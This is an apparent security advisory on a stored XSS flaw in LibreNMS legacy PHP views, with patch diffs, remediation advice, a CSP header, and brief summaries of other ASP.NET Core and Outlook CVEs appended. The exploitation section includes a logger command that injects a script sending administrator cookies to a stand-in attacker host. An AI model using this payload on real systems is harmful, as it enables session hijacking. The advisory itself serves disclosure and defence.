Aug 26, 2026·6 min read·21 visits
Insecure rendering of ingested network telemetry (SNMP, Syslog, BGP attributes) in legacy PHP view templates of LibreNMS allows the injection of persistent malicious scripts, leading to administrative session compromise.
A Stored Cross-Site Scripting (XSS) vulnerability exists within the legacy presentation templates of the LibreNMS network monitoring system. Due to inadequate context-aware output encoding of operational data ingested via Simple Network Management Protocol (SNMP) polling, Border Gateway Protocol (BGP) notifications, and incoming Syslog messages, an administrative user viewing device dashboards can be targeted with arbitrary JavaScript execution.
LibreNMS is an open-source, autodiscovering PHP-based network monitoring system that utilizes SNMP to query operational metrics from routers, switches, servers, and other network appliances. To present these metrics to administrators, LibreNMS relies on a hybrid UI architecture consisting of modern Laravel Blade views alongside legacy procedural PHP templates. Legacy view files located inside the includes/html/ directory directly render data stored in the application database.
Because network monitoring platforms are designed to collect, process, and display state information from potentially untrusted or compromised endpoints, the data ingest pipeline represents a significant attack surface. Key variables collected from monitored devices include sensor descriptions, memory pool identifiers, interface names, BGP AS descriptions, and Syslog log contents. When these elements are retrieved from the database, the legacy presentation layer fails to sanitize or encode output values.
This lack of sanitization leads to a Stored Cross-Site Scripting (Stored XSS) vulnerability. Any actor capable of altering the SNMP metadata on a monitored device, spoofing Syslog network packets, or establishing BGP pairings with custom descriptors can inject persistent malicious payloads. When an administrator navigates to the associated health, routing, or event logging interface, the browser parses and executes the payload, leading to potential administrative session takeover.
The root cause of GHSA-7W8C-QGXG-M7JX resides in the direct, unescaped interpolation of database-derived strings into the Document Object Model (DOM) within legacy procedural PHP files. While modern Laravel Blade files use standard brackets {{ $var }} to enforce HTML escaping, legacy procedural views use raw PHP output structures, including string concatenation and direct echo statements.
The application database acts as a storage medium for network telemetry collected by backend pollers. Because the database accepts and stores raw strings received via SNMP or UDP Syslog listeners, the responsibility of preventing injection attacks falls entirely on the rendering layer. In legacy files like includes/html/print-syslog.inc.php or includes/html/pages/device/health/sensors.inc.php, variables like $entry['program'] or $sensor['sensor_descr'] are written straight to HTML strings without processing.
An attacker can populate these fields with payload patterns containing HTML markup and JavaScript. Because the application processes these strings as trusted output, the client browser interprets the injected tags as layout elements and active scripts rather than plain-text strings. The vulnerability requires no application-level authentication for vectors leveraging public-facing Syslog daemons or unauthenticated SNMP poll responses.
A detailed review of the security fix applied in commit 6782af940c3c495755923b520a302f3a1cb1ce6b illustrates the transition from unsafe procedural echoes to secure output escaping. The core defensive change is the systemic application of the e() helper function, which acts as a wrapper for PHP's native htmlspecialchars function with ENT_QUOTES configured.
// BEFORE (Vulnerable implementation in includes/html/print-syslog.inc.php)
$syslog_output .= '<td><i>' . $entry['date'] . '</i> <strong>' . $entry['program'] . '</strong> ' . htmlspecialchars((string) $entry['msg']) . '</td>';
// AFTER (Patched implementation)
$syslog_output .= '<td><i>' . e($entry['date']) . '</i> <strong>' . e($entry['program']) . '</strong> ' . e($entry['msg']) . '</td>';In the vulnerable snippet, only the message field $entry['msg'] was escaped, leaving both $entry['date'] and $entry['program'] completely vulnerable. An attacker sending a spoofed Syslog packet could populate the Syslog program header with a script payload, bypassing the message-level escaping.
// BEFORE (Vulnerable template in resources/views/map/custom-list.blade.php)
<a href="{{ route('maps.custom.show', $map->custom_map_id) }}">{!! $map->name !!}</a>
// AFTER (Patched template)
<a href="{{ route('maps.custom.show', $map->custom_map_id) }}">{{ $map->name }}</a>In the Blade template files, developers replaced unescaped {!! ... !!} blade echo statements (which print raw HTML) with secure {{ ... }} auto-escaping syntax to ensure map names are sanitized before rendering.
An attacker can exploit this vulnerability using various network protocols, depending on the active pollers and services configured within LibreNMS.
In a Syslog injection scenario, the attacker identifies a LibreNMS instance accepting remote Syslog logs over UDP port 514. The attacker issues a malformed syslog packet with the program field set to an executable JavaScript payload:
logger -n <LibreNMS_IP> -P 514 -t "<script>fetch('http://attacker.local/exfil?cookie=' + document.cookie)</script>" "System normal"
When the system-wide logging dashboard is opened by an administrator, the browser processes the injected <script> tag. The script executes within the security context of the administrative user, enabling the exfiltration of session cookies or the silent execution of administrative actions through forged API requests.
A detailed cryptographic and technical review of the remediation patch reveals potential areas of residual risk involving nested execution contexts. In includes/html/pages/device/health/storage.inc.php, the developer applied the escaping helper directly within JavaScript event attributes:
$storage_descr = e($drive['storage_descr']);
$fs_popup = "onmouseover=\"return overlib('<div class=list-large>" . $device['hostname'] . ' - ' . $storage_descr;This construction places the HTML-escaped string $storage_descr into a JavaScript function argument (overlib('...')) that is nested inside an inline HTML attribute (onmouseover="..."). This structure creates a multi-layered parsing context.
When the browser parses the HTML document, it decodes HTML entities inside the onmouseover attribute value prior to executing the JavaScript payload. If the storage description contains an escaped quote like ', the browser translates it back into a raw single quote ' in memory. This raw quote can prematurely terminate the string literal argument of the overlib call, leading to syntax errors or script breakout.
To remediate nested context issues, developers must apply strict context-aware encoding. Variables intended for use inside client-side scripts or inline event handlers should be serialized to JSON using json_encode() or loaded from data-attributes to isolate them from parsing boundary issues.
To resolve GHSA-7W8C-QGXG-M7JX, administrators must update LibreNMS to a patched version, such as 26.5.0 or 26.8.1. These versions incorporate systemic template updates that enforce escaping of incoming telemetry fields.
If manual patching is required because of network isolation or legacy infrastructure locks, administrators should implement the e() helper across all affected views in includes/html/. Special focus should be placed on high-exposure templates such as print-syslog.inc.php, eventlog.inc.php, and routing configuration displays.
# Recommended Nginx Content Security Policy (CSP) header
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-random123' 'strict-dynamic'; object-src 'none';";To increase resilience against similar stored XSS vulnerabilities, implement a strict Content Security Policy (CSP). Restricting script execution to specified cryptographically secure nonces or preventing inline script blocks altogether stops injected XSS scripts from executing, even if the application's presentation layer fails to sanitize database outputs.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
LibreNMS LibreNMS | < 26.5.0 | 26.5.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| Attack Vector | Network (Adjacent/Remote via SNMP/Syslog) |
| CVSS v3.1 Score | 8.0 |
| EPSS Score | N/A |
| Impact | Stored Cross-Site Scripting (XSS) |
| Exploit Status | Proof-of-Concept Verification |
| KEV Status | Not Listed |
The software does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
An incorrect authorization vulnerability (CWE-863) exists in the ASP.NET Core SignalR HTTP Connection Dispatcher (`Microsoft.AspNetCore.Http.Connections`). The connection negotiation process failed to bind the authenticated caller identity to the generated connection state, and subsequent transport or message dispatch handlers failed to verify caller consistency. Consequently, an authenticated low-privilege attacker who obtains a valid connection identifier or token can inject messages into or hijack another user's SignalR session, achieving an elevation of privilege across security boundaries.
CVE-2026-109478 is a network-accessible Denial of Service (DoS) vulnerability in ASP.NET Core caused by inefficient algorithmic complexity (CWE-407) when parsing comma-separated HTTP request headers. Prior to the patch, the internal helper method ParsingHelpers.GetHeaderSplit repeatedly called StringValues.Concat inside a loop iterating over each comma-separated token. Because StringValues allocates a new array of size k + 1 and copies all existing elements upon each concatenation, processing N tokens incurs O(N^2) time and space complexity. An unauthenticated remote attacker can send HTTP requests with headers containing thousands of short, comma-separated values to exhaust CPU cycles and induce severe Garbage Collection (GC) pauses, rendering the web application unresponsive.
CVE-2026-114147 is a high-severity Denial of Service (DoS) vulnerability affecting ASP.NET Core and specifically the Microsoft.AspNetCore.SignalR.StackExchangeRedis scale-out provider across .NET 8.0, 9.0, 10.0, and 11.0 preview releases. The vulnerability originates from a string comparison mismatch between internal per-connection group collections and the centralized Redis channel subscription registry, compounded by a race condition during connection teardown. Remote unauthenticated attackers can exploit this flaw to leave orphaned connection contexts and active Redis pub/sub listeners pinned in memory, leading to unbounded memory exhaustion and application process termination.
CVE-2026-114156 is an improper resolution of path equivalence vulnerability (CWE-41) in Microsoft ASP.NET Core affecting .NET 11.0 preview releases and Microsoft Visual Studio 2026. The vulnerability stems from a discrepancy between how path prefix validation helpers (such as PathString.StartsWithSegments) and downstream routing mechanisms handle alternate path separators and percent-encoded characters. An unauthenticated remote attacker can exploit this mismatch over the network to bypass path-based authorization middleware and access restricted endpoints.
CVE-2026-114157 is a high-severity local privilege escalation and security feature bypass vulnerability affecting ASP.NET Core on Microsoft Windows. The flaw resides in the Kestrel web server's Named Pipes transport layer (Microsoft.AspNetCore.Server.Kestrel.Transport.NamedPipes) and stems from a race condition (CWE-362) during broken pipe error recovery. When an active connection throws an IOException during handshake acceptance, the connection listener previously disposed of the broken NamedPipeServerStream instance before acquiring a replacement stream from its internal pool. This sequence created a momentary window where zero server instances of the named pipe existed in the Windows Named Pipe File System (NPFS). A local, low-privileged attacker can exploit this timing window to create a named pipe with the identical name and a permissive Discretionary Access Control List (DACL), hijacking subsequent inter-process communications and escalating privileges across security boundaries.
CVE-2026-124194 is a forced authentication and spoofing vulnerability in Microsoft Office Outlook caused by a missing user interface warning before dereferencing remote network paths (CWE-356). By embedding an attacker-controlled Universal Naming Convention (UNC) path within MAPI message properties such as PidLidReminderFileParameter, an unauthenticated remote attacker can force a victim's system to initiate an outbound SMB or WebDAV connection upon opening or previewing a crafted message. This automatic authentication handshake leaks the user's NetNTLMv2 hash, enabling offline password cracking or real-time NTLM relay attacks. The vulnerability was exploited in the wild as a zero-day prior to its remediation in Microsoft's November 2026 Patch Tuesday updates and is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.